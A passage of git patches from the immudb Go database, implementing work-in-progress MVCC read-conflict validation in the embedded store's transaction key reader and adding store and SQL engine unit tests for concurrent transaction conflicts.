(*TxHeader, error) { @@ -410,12 +400,20 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { - return nil + /* + if tx.IsWriteOnly() || tx.snap.Ts() >= st.lastPrecommittedTxID() { + return nil + } + */ + + snap, err := st.unsafeSnapshot() + if err != nil { + return err } + // defer snap.Close() <- TODO: snap, err := st.lockedSnapshot() for _, e := range tx.expectedGetsWithFilters { - valRef, err := st.GetWithFilters(e.key, e.filters...) + valRef, err := snap.GetWithFilters(e.key, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict @@ -432,7 +430,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } for _, e := range tx.expectedGetsWithPrefix { - key, valRef, err := st.GetWithPrefix(e.prefix, e.neq) + key, valRef, err := snap.GetWithPrefix(e.prefix, e.neq) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { return ErrTxReadConflict @@ -448,23 +446,17 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if len(tx.expectedReaders) == 0 { - return nil - } - - tbsnap, err := st.indexer.index.RSnapshot() - if err != nil { - return err - } - - snap := &Snapshot{ - st: st, - snap: tbsnap, - ts: time.Now(), - } - for _, eReader := range tx.expectedReaders { - reader, err := snap.NewKeyReader(eReader.spec) + rspec := KeyReaderSpec{ + SeekKey: eReader.spec.SeekKey, + EndKey: eReader.spec.EndKey, + Prefix: eReader.spec.Prefix, + InclusiveSeek: eReader.spec.InclusiveSeek, + InclusiveEnd: eReader.spec.InclusiveEnd, + DescOrder: eReader.spec.DescOrder, + } + + reader, err := snap.NewKeyReader(rspec) if err != nil { return err } @@ -482,12 +474,27 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) } - if err != nil { + if err != nil && !errors.Is(err, ErrNoMoreEntries) { return err } - if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { - return ErrTxReadConflict + // at this point if err != nil it means errors.Is(err, ErrNoMoreEntries) + + if eRead.expectedNoMoreEntries { + // reader is now fetching more entries than expected + if err == nil { + return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) + } + } else { + // reader is now fetching less entries than expected + if err != nil { + return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) + } + + // reader is now fetching a different key or an updated one + if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { + return fmt.Errorf("%w: fetching a different key or an updated one", ErrTxReadConflict) + } } } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 0cfa6221ff..6cf601f9d6 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -16,9 +16,12 @@ limitations under the License. package store +import "errors" + type expectedReader struct { spec KeyReaderSpec expectedReads [][]expectedRead + i int } type expectedRead struct { @@ -27,10 +30,17 @@ type expectedRead struct { expectedKey []byte expectedTx uint64 + + expectedNoMoreEntries bool } type ongoingTxKeyReader struct { - keyReader KeyReader + tx *OngoingTx + + keyReader KeyReader + offset uint64 + skipped uint64 + expectedReader *expectedReader } @@ -41,56 +51,135 @@ func newExpectedReader(spec KeyReaderSpec) *expectedReader { } } -func newOngoingTxKeyReader(keyReader KeyReader, expectedReader *expectedReader) *ongoingTxKeyReader { +func newOngoingTxKeyReader(tx *OngoingTx, spec KeyReaderSpec) (*ongoingTxKeyReader, error) { + rspec := KeyReaderSpec{ + SeekKey: spec.SeekKey, + EndKey: spec.EndKey, + Prefix: spec.Prefix, + InclusiveSeek: spec.InclusiveSeek, + InclusiveEnd: spec.InclusiveEnd, + DescOrder: spec.DescOrder, + } + + keyReader, err := tx.snap.NewKeyReader(rspec) + if err != nil { + return nil, err + } + + expectedReader := newExpectedReader(spec) + + tx.expectedReaders = append(tx.expectedReaders, expectedReader) + return &ongoingTxKeyReader{ + tx: tx, keyReader: keyReader, + offset: spec.Offset, expectedReader: expectedReader, - } + }, nil } func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { - key, valRef, err := r.keyReader.Read() - if err != nil { - return nil, nil, err - } + for { + key, valRef, err := r.keyReader.Read() + if errors.Is(err, ErrNoMoreEntries) { + expectedRead := expectedRead{ + expectedNoMoreEntries: true, + } + + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + if err != nil { + return nil, nil, err + } - if valRef.Tx() > 0 { - // it only requires validation when the entry was pre-existent to ongoing tx - expectedRead := expectedRead{ - expectedKey: cp(key), - expectedTx: valRef.Tx(), + skipEntry := false + + for _, filter := range r.expectedReader.spec.Filters { + err = filter(valRef, r.tx.Timestamp()) + if err != nil { + skipEntry = true + break + } } - i := len(r.expectedReader.expectedReads) - 1 + if valRef.Tx() == 0 { + expectedRead := expectedRead{} - r.expectedReader.expectedReads[i] = append(r.expectedReader.expectedReads[i], expectedRead) - } + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + + if skipEntry { + continue + } - return key, valRef, nil + if r.skipped < r.offset { + r.skipped++ + continue + } + + if valRef.Tx() > 0 { + expectedRead := expectedRead{ + expectedKey: cp(key), + expectedTx: valRef.Tx(), + } + + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + + return key, valRef, nil + } } func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, val ValueRef, err error) { - key, valRef, err := r.keyReader.ReadBetween(initialTxID, finalTxID) - if err != nil { - return nil, nil, err - } + for { + key, valRef, err := r.keyReader.ReadBetween(initialTxID, finalTxID) + if errors.Is(err, ErrNoMoreEntries) { + expectedRead := expectedRead{ + expectedNoMoreEntries: true, + } + + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + if err != nil { + return nil, nil, err + } - if valRef.Tx() > 0 { - // it only requires validation when the entry was pre-existent to ongoing tx + skipEntry := false - expectedRead := expectedRead{ - initialTxID: initialTxID, - finalTxID: finalTxID, - expectedKey: cp(key), - expectedTx: valRef.Tx(), + for _, filter := range r.expectedReader.spec.Filters { + err = filter(valRef, r.tx.Timestamp()) + if err != nil { + skipEntry = true + break + } } - i := len(r.expectedReader.expectedReads) - 1 + if valRef.Tx() == 0 { + expectedRead := expectedRead{} - r.expectedReader.expectedReads[i] = append(r.expectedReader.expectedReads[i], expectedRead) - } + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + + if skipEntry { + continue + } + + if r.skipped < r.offset { + r.skipped++ + continue + } + + if valRef.Tx() > 0 { + expectedRead := expectedRead{ + expectedKey: cp(key), + expectedTx: valRef.Tx(), + } - return key, valRef, nil + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + + return key, valRef, nil + } } func (r *ongoingTxKeyReader) Reset() error { @@ -100,6 +189,7 @@ func (r *ongoingTxKeyReader) Reset() error { } r.expectedReader.expectedReads = append(r.expectedReader.expectedReads, nil) + r.expectedReader.i++ return nil } diff --git a/embedded/tbtree/tbtree.go b/embedded/tbtree/tbtree.go index 6d7733ceab..987bbe4bb5 100644 --- a/embedded/tbtree/tbtree.go +++ b/embedded/tbtree/tbtree.go @@ -1655,7 +1655,7 @@ func (t *TBtree) Ts() uint64 { return t.root.ts() } -func (t *TBtree) RSnapshot() (*Snapshot, error) { +func (t *TBtree) UnsafeSnapshot() (*Snapshot, error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() From 1f5ac9bbb1812825ea3b754a404b29c41f8dd14c Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 15:29:42 -0300 Subject: [PATCH 0056/1062] chore(embedded/store): wip mvcc validations Signed-off-by: Jeronimo Irazabal --- embedded/store/key_reader.go | 12 +++++----- embedded/store/ongoing_tx.go | 33 +++++++++++++++++--------- embedded/store/ongoing_tx_keyreader.go | 32 ++++++++++++++----------- 3 files changed, 46 insertions(+), 31 deletions(-) diff --git a/embedded/store/key_reader.go b/embedded/store/key_reader.go index 6d0c0eeb1e..6686cf110e 100644 --- a/embedded/store/key_reader.go +++ b/embedded/store/key_reader.go @@ -355,17 +355,17 @@ func (r *storeKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []byte, valRef := r.refInterceptor(key, val) - skipEntry := false + filterEntry := false for _, filter := range r.filters { err = filter(valRef, r.snap.ts) if err != nil { - skipEntry = true + filterEntry = true break } } - if skipEntry { + if filterEntry { continue } @@ -392,17 +392,17 @@ func (r *storeKeyReader) Read() (key []byte, val ValueRef, err error) { valRef := r.refInterceptor(key, val) - skipEntry := false + filterEntry := false for _, filter := range r.filters { err = filter(valRef, r.snap.ts) if err != nil { - skipEntry = true + filterEntry = true break } } - if skipEntry { + if filterEntry { continue } diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 521731bf66..5bac5c76d9 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -464,29 +464,40 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { defer reader.Close() for _, eReads := range eReader.expectedReads { + var key []byte + var valRef ValueRef + for _, eRead := range eReads { - var key []byte - var valRef ValueRef - if eRead.initialTxID == 0 && eRead.finalTxID == 0 { - key, valRef, err = reader.Read() - } else { - key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) - } + if len(key) == 0 { + if eRead.initialTxID == 0 && eRead.finalTxID == 0 { + key, valRef, err = reader.Read() + } else { + key, valRef, err = reader.ReadBetween(eRead.initialTxID, eRead.finalTxID) + } - if err != nil && !errors.Is(err, ErrNoMoreEntries) { - return err + if err != nil && !errors.Is(err, ErrNoMoreEntries) { + return err + } } // at this point if err != nil it means errors.Is(err, ErrNoMoreEntries) + if eRead.expectedTx == 0 { + if bytes.Equal(eRead.expectedKey, key) { + // key was updated by the transaction + key = nil + valRef = nil + } + + continue + } + if eRead.expectedNoMoreEntries { - // reader is now fetching more entries than expected if err == nil { return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) } } else { - // reader is now fetching less entries than expected if err != nil { return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 6cf601f9d6..8366aa545b 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -92,23 +92,25 @@ func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { return nil, nil, err } - skipEntry := false + filterEntry := false for _, filter := range r.expectedReader.spec.Filters { err = filter(valRef, r.tx.Timestamp()) if err != nil { - skipEntry = true + filterEntry = true break } } - if valRef.Tx() == 0 { - expectedRead := expectedRead{} + if valRef.Tx() == 0 && !filterEntry { + expectedRead := expectedRead{ + expectedKey: cp(key), + } r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) } - if skipEntry { + if filterEntry { continue } @@ -144,23 +146,25 @@ func (r *ongoingTxKeyReader) ReadBetween(initialTxID, finalTxID uint64) (key []b return nil, nil, err } - skipEntry := false + if valRef.Tx() == 0 { + expectedRead := expectedRead{ + expectedKey: cp(key), + } + + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + } + + filterEntry := false for _, filter := range r.expectedReader.spec.Filters { err = filter(valRef, r.tx.Timestamp()) if err != nil { - skipEntry = true + filterEntry = true break } } - if valRef.Tx() == 0 { - expectedRead := expectedRead{} - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - } - - if skipEntry { + if filterEntry { continue } From 977ef1ed47ae64f2ae6ea42a513fb1aa6fb737db Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 16:04:26 -0300 Subject: [PATCH 0057/1062] test(embedded/store): initial mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 54 ++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 08b84b7ca7..36624ff85a 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3475,3 +3475,57 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { wg.Wait() } + +func TestImmudbStoreMVCC(t *testing.T) { + immuStore, err := Open(t.TempDir(), DefaultOptions()) + require.NoError(t, err) + + defer immuStore.Close() + + t.Run("no read conflict should be detected when read keys are not updated by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + _, err = tx2.Get([]byte("key2")) + require.ErrorIs(t, err, ErrKeyNotFound) + + err = tx2.Set([]byte("key2"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key"), nil, []byte("value")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + _, err = tx2.Get([]byte("key")) + require.ErrorIs(t, err, ErrKeyNotFound) + + err = tx2.Set([]byte("key"), nil, []byte("value")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) + +} From 6e6ec76ded4c9a2be0381a170896c33fcdd21235 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 16:12:09 -0300 Subject: [PATCH 0058/1062] test(embedded/store): initial mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore_test.go | 57 ++++++++++++++++++++++++++++++-- 1 file changed, 54 insertions(+), 3 deletions(-) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 36624ff85a..e22e4768a5 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -3505,6 +3505,26 @@ func TestImmudbStoreMVCC(t *testing.T) { require.NoError(t, err) }) + t.Run("read conflict should be detected even when the key was updated by another transaction if its value was not read", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key1"), nil, []byte("value1")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + err = tx2.Set([]byte("key1"), nil, []byte("value2")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + }) + t.Run("read conflict should be detected when read key was updated by another transaction", func(t *testing.T) { tx1, err := immuStore.NewTx() require.NoError(t, err) @@ -3512,20 +3532,51 @@ func TestImmudbStoreMVCC(t *testing.T) { tx2, err := immuStore.NewTx() require.NoError(t, err) - err = tx1.Set([]byte("key"), nil, []byte("value")) + err = tx1.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) _, err = tx1.Commit() require.NoError(t, err) - _, err = tx2.Get([]byte("key")) + _, err = tx2.Get([]byte("key3")) require.ErrorIs(t, err, ErrKeyNotFound) - err = tx2.Set([]byte("key"), nil, []byte("value")) + err = tx2.Set([]byte("key3"), nil, []byte("value")) require.NoError(t, err) _, err = tx2.Commit() require.ErrorIs(t, err, ErrTxReadConflict) }) + t.Run("read conflict should be detected when read key was deleted by another transaction", func(t *testing.T) { + tx1, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx1.Set([]byte("key4"), nil, []byte("value")) + require.NoError(t, err) + + _, err = tx1.Commit() + require.NoError(t, err) + + tx2, err := immuStore.NewTx() + require.NoError(t, err) + + tx3, err := immuStore.NewTx() + require.NoError(t, err) + + err = tx2.Delete([]byte("key4")) + require.NoError(t, err) + + _, err = tx2.Commit() + require.NoError(t, err) + + _, err = tx3.Get([]byte("key4")) + require.NoError(t, err) + + err = tx3.Set([]byte("key4"), nil, []byte("value4")) + require.NoError(t, err) + + _, err = tx3.Commit() + require.ErrorIs(t, err, ErrTxReadConflict) + }) } From 2ea451c66657a33631c30599d6d020a6c84b3472 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 19:31:27 -0300 Subject: [PATCH 0059/1062] chore(embedded/store): wip mvcc validations Signed-off-by: Jeronimo Irazabal --- embedded/store/ongoing_tx.go | 24 ++++++++++++------------ embedded/store/ongoing_tx_keyreader.go | 24 +++++++----------------- 2 files changed, 19 insertions(+), 29 deletions(-) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 5bac5c76d9..a838d64d15 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -481,31 +481,31 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - // at this point if err != nil it means errors.Is(err, ErrNoMoreEntries) + if eRead.expectedNoMoreEntries { + if err == nil { + return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) + } + + break + } if eRead.expectedTx == 0 { - if bytes.Equal(eRead.expectedKey, key) { + if err == nil && bytes.Equal(eRead.expectedKey, key) { // key was updated by the transaction key = nil valRef = nil } - - continue - } - - if eRead.expectedNoMoreEntries { - if err == nil { - return fmt.Errorf("%w: fetching more entries than expected", ErrTxReadConflict) - } } else { - if err != nil { + if errors.Is(err, ErrNoMoreEntries) { return fmt.Errorf("%w: fetching less entries than expected", ErrTxReadConflict) } - // reader is now fetching a different key or an updated one if !bytes.Equal(eRead.expectedKey, key) || eRead.expectedTx != valRef.Tx() { return fmt.Errorf("%w: fetching a different key or an updated one", ErrTxReadConflict) } + + key = nil + valRef = nil } } diff --git a/embedded/store/ongoing_tx_keyreader.go b/embedded/store/ongoing_tx_keyreader.go index 8366aa545b..7dacdf264c 100644 --- a/embedded/store/ongoing_tx_keyreader.go +++ b/embedded/store/ongoing_tx_keyreader.go @@ -92,6 +92,13 @@ func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { return nil, nil, err } + expectedRead := expectedRead{ + expectedKey: cp(key), + expectedTx: valRef.Tx(), + } + + r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) + filterEntry := false for _, filter := range r.expectedReader.spec.Filters { @@ -102,14 +109,6 @@ func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { } } - if valRef.Tx() == 0 && !filterEntry { - expectedRead := expectedRead{ - expectedKey: cp(key), - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - } - if filterEntry { continue } @@ -119,15 +118,6 @@ func (r *ongoingTxKeyReader) Read() (key []byte, val ValueRef, err error) { continue } - if valRef.Tx() > 0 { - expectedRead := expectedRead{ - expectedKey: cp(key), - expectedTx: valRef.Tx(), - } - - r.expectedReader.expectedReads[r.expectedReader.i] = append(r.expectedReader.expectedReads[r.expectedReader.i], expectedRead) - } - return key, valRef, nil } } From 214fcf1bb75d66e3bc8b591af2b27754850fd834 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 19:31:41 -0300 Subject: [PATCH 0060/1062] test(embedded/sql): initial mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 0d1053d65a..cef3cd73eb 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5447,3 +5447,37 @@ func TestSingleDBCatalogQueries(t *testing.T) { require.ErrorIs(t, err, ErrNoMoreRows) }) } + +func TestMVCC(t *testing.T) { + engine := setupCommonTest(t) + + _, _, err := engine.Exec("CREATE TABLE table1 (id INTEGER, title VARCHAR[10], active BOOLEAN, payload BLOB[2], PRIMARY KEY id);", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("CREATE INDEX ON table1 (title);", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("CREATE INDEX ON table1 (active);", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("CREATE INDEX ON table1 (payload);", nil, nil) + require.NoError(t, err) + + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) +} From 56fe0479d2bd1c5050a1c95ea4f069cd36da39a1 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 14 Dec 2022 19:48:01 -0300 Subject: [PATCH 0061/1062] test(embedded/sql): initial mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 89 ++++++++++++++++++++++++++++++++----- 1 file changed, 77 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index cef3cd73eb..756041d414 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5463,21 +5463,86 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("CREATE INDEX ON table1 (payload);", nil, nil) require.NoError(t, err) - tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) - require.NoError(t, err) + t.Run("no read conflict should be detected when processing transactions without overlapping rows", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) - tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) - require.NoError(t, err) + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) - require.NoError(t, err) + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx1) - require.NoError(t, err) + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) + require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) - require.NoError(t, err) + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx2) - require.NoError(t, err) + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil, tx2) + require.NoError(t, err) + + for { + _, err = rowReader.Read() + if err != nil { + require.ErrorIs(t, err, ErrNoMoreRows) + break + } + } + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) + + t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) + + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 10", nil, tx2) + require.NoError(t, err) + + _, err = rowReader.Read() + require.ErrorIs(t, err, ErrNoMoreRows) + + err = rowReader.Close() + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) + }) } From 4899d7245aa882db126e1965b01797916c58f561 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 15 Dec 2022 08:13:41 -0300 Subject: [PATCH 0062/1062] test(embedded/sql): mvcc unit testing Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 60 +++++++++++++++++++++++++++++++----- embedded/store/ongoing_tx.go | 8 ++--- 2 files changed, 56 insertions(+), 12 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 756041d414..783cca4dc7 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5473,10 +5473,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) require.NoError(t, err) - _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) + _, _, err = engine.Exec("COMMIT;", nil, tx1) require.NoError(t, err) - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec("INSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) require.NoError(t, err) _, _, err = engine.Exec("COMMIT;", nil, tx2) @@ -5493,6 +5493,9 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) require.NoError(t, err) + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil, tx2) require.NoError(t, err) @@ -5507,10 +5510,7 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) - require.NoError(t, err) - - _, _, err = engine.Exec("COMMIT;", nil, tx1) + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) require.NoError(t, err) _, _, err = engine.Exec("COMMIT;", nil, tx2) @@ -5527,6 +5527,9 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) require.NoError(t, err) + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + rowReader, err := engine.Query("SELECT * FROM table1 USE INDEX ON id WHERE id > 10", nil, tx2) require.NoError(t, err) @@ -5536,12 +5539,55 @@ func TestMVCC(t *testing.T) { err = rowReader.Close() require.NoError(t, err) - _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A1');", nil, tx2) + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.NoError(t, err) + }) + + t.Run("read conflict should be detected when processing transactions with invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + tx2, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx1) + require.NoError(t, err) + + _, _, err = engine.Exec("DELETE FROM table1 WHERE id > 0", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil, tx2) + require.NoError(t, err) + + _, _, err = engine.Exec("COMMIT;", nil, tx2) + require.ErrorIs(t, err, store.ErrTxReadConflict) + }) + + t.Run("no read conflict should be detected when processing transactions with non-invalidated queries", func(t *testing.T) { + tx1, _, err := engine.Exec("BEGIN TRANSACTION;", nil, nil) + require.NoError(t, err) + + 